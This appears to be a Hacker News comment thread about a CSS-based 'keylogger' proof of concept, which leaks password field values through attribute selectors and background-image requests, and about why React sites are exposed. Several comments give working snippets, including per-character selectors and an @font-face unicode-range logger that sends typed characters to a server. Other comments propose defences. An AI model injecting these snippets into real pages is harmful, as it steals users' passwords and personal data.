Edit: This doesn't seem to work for me in Chrome 63.0.3239.132
Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
Make an input field red when it contains an invalid character?
The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value).
This means that both:
- typing the password
- setting the password via element.value=foo
will not work
The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.
Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
[0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...no permutations needed
That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.
The CSS selectors work on the value HtmlNode attribute rather than the Javascript "value" value, which aren't linked normally. The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me.
[edit] Other people pointed this out first.
Also, if you are going to all the trouble of making an extension to inject your evil CSS into a page, why not go the whole hog and inject evil ecmascript instead?
That may just be for the proof of concept.
There are websites which allow users to customize themes of certain pages; such at Tumblr and Reddit. I believe these allow custom CSS. There are probably plenty of other places where it may be possible to inject CSS but not JavaScript.
So, it's worth demonstrating the vulnerability, even if the current way of distributing it only really makes sense for testing purposes.
Instagram is a React app and React works that way.
Another fun thing: user css / theme extensions where you only install themes. Themes are not dangerous, are they? It's just eyecandy.
React.
If you do control the page, there may not be that many reasons, but if you only have a limited entry-point, this is very interesting.
I can simply background-image:url("myTrackingPixel.png") and then track whenever someone tries to load that image from my server.
This is a React feature, where React apps specifically use the value attribute (`element.setAttribute("value", ...)`) to set the value, instead of `element.value`.
This would still put many, if not most, passwords within guessable striking distance, for anyone able to intercept plain-text HTTP traffic, between Alice (the client) and Bob (the CSS image resource server).
This can be done with any attribute:
<input type="password" hackernews="isthebestwebsite">
input[type="password"][hackernews$="isthebestwebsite"] { background-image: url("http://placehold.it/15x15?text=h4x0r"); }
That's not a keylogger at all, the data is already printed in the HTML source.
Also as in this example loading a .jpg could be a way of communicating something.
The original post on this talks about it in more detail:
https://www.mike-gualtieri.com/posts/stealing-data-with-css-...
Summary: A method is detailed - dubbed CSS Exfil - which can be used to steal targeted data using Cascading Style Sheets (CSS) as an attack vector. Due to the modern web's heavy reliance on CSS, a wide variety of data is potentially at risk, including: usernames, passwords, and sensitive data such as date of birth, social security numbers, and credit card numbers. The technique can also be used to de-anonymize users on dark nets like Tor. Defense methods are discussed for both website operators as well as web users, and a pair of browser extensions are offered which guard against this class of attack.
This is common when returning to a form you previously filled, like an address for, but it's very, very rare for this to happen to a password field. Like, why would a server send you a password field with your real password pre-entered?
Every other type of data is fair game... given that the attacker can inject CSS into your pages.
<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
[1] https://github.com/jbtronics/CrookedStyleSheets/issues/24
[2] https://news.ycombinator.com/item?id=16157773The fact remains that the coding practices on a website used by about a billion people open up for part 1 of this vulnerability (these CSS styles on Instagram do load external resources as you type), and there are plenty of ways for part 2 (inject the CSS) to occur on many less well maintained sites.
input[type="password"] { background-image: none !important; }
And if the exploit uses `!important` then you just need to make your selector more specific such as putting it inside an id. If you have malicious javascript running on your page there are better ways to steal data. I feel there is low risk of coming across this problem in the wild.
I.e. <input type="password" style="background-image:none !important"/>
You don't actually even need to select that specific node - whilst you can't use :after on replaced elements, if the input has a sibling an attacker could input[type="password"] + div:after or something along those lines.
The main takeaway for me is that making a password field a controlled component is a marginal security risk in some instances, and letting people pump their own styles into sign-in pages is a bad idea.
e.g. ads.
(Truth to tell, advertisers had their fangs on even the barest 'social media' thing like Usenet, where "spam" not in a tin can was first defined.)
input[type="password"] {
background-image: url(attr(value));
}
?This is not a CSS keylogger if you need to update the attributes with the input value via JS.
Edit: this apparently works on React sites because React seems to update the `value` attribute as well. Maybe that should be fixed as it’s unnecessary.
If this would work, it could spy even without React. Detect first character, then server returns next CSS to detect second character and so on.
What might be a problem is developers not treating it as such.